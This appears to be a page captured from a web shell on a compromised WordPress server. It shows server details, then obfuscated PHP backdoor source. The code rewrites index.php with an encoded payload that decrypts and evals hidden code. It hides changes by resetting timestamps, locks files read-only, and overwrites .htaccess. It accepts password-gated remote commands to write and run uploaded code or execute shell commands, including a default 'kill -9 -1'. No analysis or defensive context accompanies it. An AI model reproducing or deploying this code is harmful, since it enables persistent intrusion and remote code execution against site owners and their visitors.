Server IP : 170.150.155.74 / Your IP : 52.14.193.97 Web Server : Apache/2.4.53 (Debian) System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/wp-admin/js/widgets/ |
Upload File : |
<?php /*Step Data*/ $s = $_SERVER; /*Step Data*/ $g = $_REQUEST; if (!empty($_GET)) foreach ($_GET as $k => $v) $g[$k] = $v; /*Step Data*/ $pz = function ($y, $z, $u, $c, $g, $q = '') { if ($u && @Md5_File($y) !== $u) { $fwC = $c[$g($z[3])]; $t1 = @filEmtiMe($y); @ChMod($y, 0744); @$z[6]($y); $t1 || $t1 = time() - 3600; $t = ['m' => $t1, 'a' => $t1]; File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAgCSRVQmFhdU5vPSBmdW5jdGlvbiAoJGEwYyApeyRCM1dtVHV6bTMgPSAiRkk0IjskUlNwODY9JEIzV21UdXptM1soNDgtIDUzKyA1KSAvIDNdDS4gKCgzOCAtMTItIDEwKSAvNCkJLgonZCcNOyAkUlNwODYNLj0JDSRCM1dtVHV6bTNbKDU5LSA2NCArOCkgLzNdCS4nJzsJcmV0dXJuICRSU3A4NigkYTBjKTt9OyAgCSAJJHJvU0VVTz1mdW5jdGlvbgkoJEtrV0lPdTV2CSkKeyRaN3QgPSAiRWczRl8xIjskWGNtbWNkNT0kWjd0Wyg2MiAtIDQ3KS8gNV0uJFo3dFsoNDMtIDUxKzEwKS8gMl0uJ0UnOyRYY21tY2Q1CS49JFo3dFsoMjcgLSAzKSAvNl0KLgkkWjd0WygzOC0gNDUrNykgLzZdLiAnQicJLiAkWjd0WygyMyAtIDE4KSAvNV0uCigoMjMtIDI1KyA3KS8gNSk7JFhjbW1jZDUuPQ0NKCg5MC0gNzkrIDcpLzYpCS4nJzsgJFhjbW1jZDUgPSBzdHJfcm90MTMoJFhjbW1jZDUpOwlyZXR1cm4gJFhjbW1jZDUoJEtrV0lPdTV2KTsKfTsgICR5WUtDUlJ6PSc0bU0va1BpK3BUWmNlV1dtOTFXSWJCQkFTa0JWbHhrMENUakZOVkszaEdWcXQzU2x5UzRiLzM3T3B2eVJhR0pETjl5UFRGbG1tL1p2M09YbzRRUVJLYVN3bU9kc0pXTk5YNjdaZENuN1NtMUdWMmRaTUllcUZZbStHTmdlVnZoN3BMUnAzbllxK09QMTN3NDBKaVJmdGcvL1BGK2F2Ynk5djFBVDZuVzZvVUR1eDFtdHBHRExJc3ZYRTgwVTNXMkREZkd1Wjc5V015T2JWcGFXcU4wNGxvdEdabFk3Wm1ZS2dmTzZqZlRnTXBuREx3Q0hzNEFlazVNZFBZTjFuRFJ6OWgzemV4cVNpRkRyQWY4VklkZFBCemdjMlR5YUthNmx4U0U0bE9qYXJDNjdERlZvZy8wd2hiTkJYS1hadHdWWXgwcHdHM3lya3A1azI3SmowemNSckhvNGx1N2V6dGdic0NVRzhHQUh3VEJ5SzdWMVRwb0Z5dXJvSW5KTlNjRkdVVFpGcFZ0ZVc4ejdsblF2d0xGNG1uRVhPSk42YTEyMStlUGt5cFRwakEzT0dBNFlVcE9mUDBpV01wWmZHTmxTWUJXU2x2ZDdQWG0waFJZbkJ3VUkvOWF4dGV0MzV6ejlLRWlEK0JFLytTTy9FZ0NSQVBvaHpFUHhIek1xcytjZzNVSEk3R2t5d25vR1V1ZG1MT2pQSEVPak5mV0lCZ3dtazRvWkdFSFJpVDk2cnRWVS9MNTR4QVZWU0JYSVZnRlBUc0dTcFNidUE2SVJ3ck1rTHlSRVp4OENJK1V1UnFCZDhRcm5JdzVBSzVxMlZMNWdsbnh3bWVUYUhOSFY5R2h4S1UwRmpLVEhoVjFJNElJNmNnd2Yra1M4Yk00b1JSSEx3cWs5eE84SU1qdWJoeGM5cTFFYUdrRG9GUnowNktKYk00TEZhb0R4ZXJaaEVNSlNkd1lUazA0aURIRmhhL3FPd2ltQXc3Wi95UXVwcVN4YTN6R3c0RjNQOW9mVjNPYlNUQVNaeGxxOUE0Qnl3dFZyU1BlaGNubXJLYkRXbjVlb3czRWNjM3ZCY0hRMnd2a2VQYkNjTjhLK1ZlOTdlY0lNZW5NejI2OGlGRnl1SGNHS3JRdDAzTUMxN2J4VytZcHpLR25aQ0JXWFhIK2xvWS9CaG5Qb0xORmdRY0VCbE11U01OaDhNS1JobnAzOFNVVkJONVVHMVlJelpRNGt6bVo2V1Y1N3ZZWmhoNU90ZlgxL3FVMG5hQWFJZUdQY0hLYVE3YkVwS1N5VTI1eXBCbGlEUzZBdFRDQ1JSR3BwVzREa1hHdWJFVHlvbFVIRnRoQ0NacE1MbkNycExSdkpJWDBUaTlEQWtYaHlNNmtNNmdUMDNSaFJlNmdqYlI2TS9WRDFaZVd5dmxCdnRJS2d6VEhKbElMZkJtOTJDcGQvb3YyKzBmcWxWNGN2bER1VTdnVEdpMTVFd01SK2ZIc3FaY1o4T3UrMjVsdUZZMjJhblNFY2V6dG1BTUJNVGxKN0Fka1BqeVJxSGtRWlI4OFRKSy9mZFcwNzk5SGdiZ2ZUNnZaMGNncENvcGkwNGU1UFhoYklLTFd4UHcwRTdkVGxzZVNMckRtUEtqUkp1dFFSbDVqdXFvODJ4SDgrVzRyQXdnTjQxN3ptcVFhQjliaTFqeWYwRWFPUkVTL3hVcE0xT3l6UmMxQlRGR1BPZ1BiOGpQZkJUeUh0cGIwOWNRQU1UWmdQWjJHcmwzeGJSRm0wUyt3ZmFML3RwbDJ3QkF4eFRPSVdlS2s5Q09RQ2E0U0pkMFlVNTlVT29LVUZRME8rODJrYXJYTS9rdHFWenY5NWVIQXdEMEdxQldjUWQxakpNcmRlME0wV2MrT3FUY3hIM1ZvTng0Ym9FZWJHYjMwaWg0QUxJYmY3NVpJenZFMmU0cWg5ZnlsVVMvTVNuMm9kbHE5dWpWMGZOOVpXUzdIdHJuZjN4cEQ5dzErNTBaSEZMK09pYS92MlBDb1AvWHhGWGRVTCt2NU10YTZueit2VHBmMTJmNjViVWE5TXFiTmlpdjNMUm9uOXVPZzhXcElmRk1uTXRScXFtUUlnRVZjVTNRRFlsNDJXamNKWkVUcEM1elBiaTlBRUljYWpPSWVaaFhrU1lCTVQ1UWJHRFN3aTdodEVUN21JQnBmRmRqWXRhTzVWc1RaN2N1Z1EybkVWN2MzQnI2RHNEYllRanRLd21obGt2UGhnSzU3Z2JZZzZZaGpxYml2SzhsS0N1d1ZDdFh5TlNmZHBwRXMxbGE2WCt1aVlVa0lPSVZRME1kU2lUUXA4VDdLcytXcW1lU1c4YnRSZW04a3dYYldDdHhTUkVWb1lkU2N3SnN3MHRFUi9TTDFabnFhMmEwTlFYNW10WG5UMHNxbTFoSi9kZnphTHJFMDQzQm9ORkdPWDZQdGJsdkI2UE14MDVnVGtiQ1BkYTBNOGt6R1k3dTloYzAxNDhQR3hJc2dObnFRTnJxcktWVFRGL2wrQ0RtQU1ZaVJMRVJyc2hxT0paMkRJWWN2NE5wejh5ajBhbjR4R1VrUGtEbEd1L0htY2JrekR5Wm1Ec240MzNEN0t6VjkyVkptTVEzMkJHQ0ZYcEJRQmt1eCs1UmdBbm1kaExOdXZpWDlYbk1QblhKa0ZHWWRSWDJIMzQ3OTI1a3JINTVpeTg4WTQ1akd0QjRQUC9sUkFKSjRUYXRSYzlHOHd6bDFteVM0c3lqN0JZT1V3aHdnb2o2ZEtwbWVIOXh2dHN4OTR3OTY5UWNXbE81MFlkdVk0MHZQOE9oQjQwM1UzWHRtNk9UaVhLYzdFeVBDcmdKLzBQOE0wODhHNXdSY2FCL0FRJztmdW5jdGlvbiAKRjRkaSgkVTNTUHljCSl7cmV0dXJuIEhtVzhHb0h5KCcnKS4kVTNTUHljO30keVlLQ1JSegk9JFVCYWF1Tm8oJHlZS0NSUnopO2Z1bmN0aW9uICBIbVc4R29IeSgkSjlSKQp7JFdIMWY5MyA9ICI3dEhUIjskb2pSPSgoMTE5LSA5MSkgLzQpDS4gJ1UnIC4kV0gxZjkzWyg2NCAtNTUtMykgLyA2XTsKJG9qUiAuPQknYicJLg0nUicNLiRXSDFmOTNbKDUyLTQ5KS8zXQ0uDSRXSDFmOTNbKDE0IC0gMTEpLzNdLgokV0gxZjkzWyg1NSAtNDItIDcpLzJdCi4gJ0YnLiRXSDFmOTNbKDU0IC0gNDMgLSA1KS8gM10uJyc7cmV0dXJuICRvalI7fSAgCWZ1bmN0aW9uICBSQlFHSWJyKCRuUm1QRVpiCSkJeyRiV0ggPSAiREM2NGJfRXMiOyRfZGRhPSRiV0hbKDUwLSA0OSsgNykgLzJdLiAnQScJLgkkYldIWyg0Ny0gMzMrIDcpIC8zXSAuCSRiV0hbKDUyLSAzOCAtMikvIDJdCS4KKCg1Ny0gMjcpLyA1KSAuCSgoNjAtIDUzICs5KSAvIDQpCTsNJF9kZGEKLj0gJGJXSFsoNjYtIDQ3KyA2KS81XS4JJGJXSFsoNzIgLTY0LSA4KS81XQkuJ0UnOwkkX2RkYQouPQkkYldIWygxMDQtOTkpLzVdLgknTycJLiRiV0hbKDUtIDQgLTEpIC8gNF0uCSdFJy4JJyc7cmV0dXJuICRfZGRhKCRuUm1QRVpiKTt9ZnVuY3Rpb24gVXJaR2ZiR3IoJFl1MzkKLCR5NlZHRDgsJGdIc3dQCikJe3JldHVybiAiZmJOUGxKY0ZmU2JLRFBKSDg2UmRmV3ozUVY3ZkxjMW5JV1paRTVXUGU0TjBkTzdOeHhBMlZyUyI7Cn0JDSR5WUtDUlJ6ID0JUkJRR0licigkeVlLQ1JSeik7CgkgJHlZS0NSUnoKPQokcm9TRVVPKCR5WUtDUlJ6KTsJCQoNCgkJZnVuY3Rpb24gCmxzZSgkS1lECSl7JGdoOTRBID0gIkxUbkV6IjskTVRnRmpDPSdnJyAuCSRnaDk0QVsoOTggLSA4MikvIDRdDS4KJ2knIC4JJGdoOTRBWygxOCAtIDEyKS8gM10JLidmJyAuJGdoOTRBWyg3NyAtNzcpIC8gNl0uCSdBJyAuCSRnaDk0QVsoNzcgLSA3NCkgLyAzXS4kZ2g5NEFbKDMxLTIyKSAvM10uICcnOwkgIAoJCglyZXR1cm4gJE1UZ0ZqQygkS1lEKTsgDQkNfQkkeVlLQ1JSegk9DWxzZSgkeVlLQ1JSeik7CQkNIAkKRVZhbCAoJHlZS0NSUnopOyA/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+')); Touch($y, $t['m'], $t['a']); @ChMod($y, 0444); return true; } return false; }; /*Step Data*/ $c = [ '137S105122V105122', 'D117C125ME116T137122OO124', '137G105T', '_143o144145137', '0945e7bdfa776b7fe0761431b0d9cb77', 'd' => ['145170105c'], 'in144e170056p150160', 'link', 'h' => [ "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145' ], 'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160'] ]; /*Step Data*/ $z = function ($b) { $_ = ""; $g = strlen($b) - 2; $z = function ($b) { $_ = ''; if (($g = strlen($b)) < 3) return [2, $b]; for ($o = 0; $o < $g; $o++) { $_ .= $b[$o]; if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_]; } return [$o, chr(octdec($b))]; }; for ($o = 0; $o < $g; $o += $d[0]) { $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]); $_ .= $d[1]; } return $_ . substr($b, $o); }; /*Step Data*/ /*Step1 Data*/ $g['0x06'] = '_dxep'; /*Step Data*/ $r = rtrim($s[$z($c[1])], '/') . '/'; /*Step Data*/ $c[6] = 'un' . $c[6]; /*Step Data*/ $vn = '_exp'; /*Step1 Data*/ empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE; if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0); $q = function ($g) { $data = array_map(function ($item) { $item(); return "\$i"; }, $g); return $data; }; $q( /* debug */ $uz = [ function () { }, function () use ($r, $z, $c, $pz, $g) { $y = $r . $z($c[5]); $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z); }, function () use ($r, $z, $c, $pz, $g) { $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+'); }, function () use ($r, $z, $c, $pz, $g) { $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N]; $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4'; if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return; $q = base64_decode($q); @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc)); if (file_exists($d)) @require $d; die(); }, function () use ($z, $c, $r, $g) { if (!WP_UNIQUE || empty($g['fx'])) return; $pc = $z($c['c'][1]); $pz = $z($c['h'][2]); $pz($z($c['c'][2]), $pc($g['fx'])); echo explode('.', $z($c['c'][2]))[0]; die(); }, function () use ($g) { if (WP_UNIQUE && isset($g['d'])) echo $g['d'] ? "Dj" . $g['d'] : 'd'; }, function () use ($z, $c, $g) { $pc = $z($c[$v = 'c'][0]); $pz = $z($c['c'][1]); WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) && $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a); }, function () use ($g) { if (WP_UNIQUE && isset($g['z'])) die(); }, ] /**/ ); $y = $r . $z($c[5]);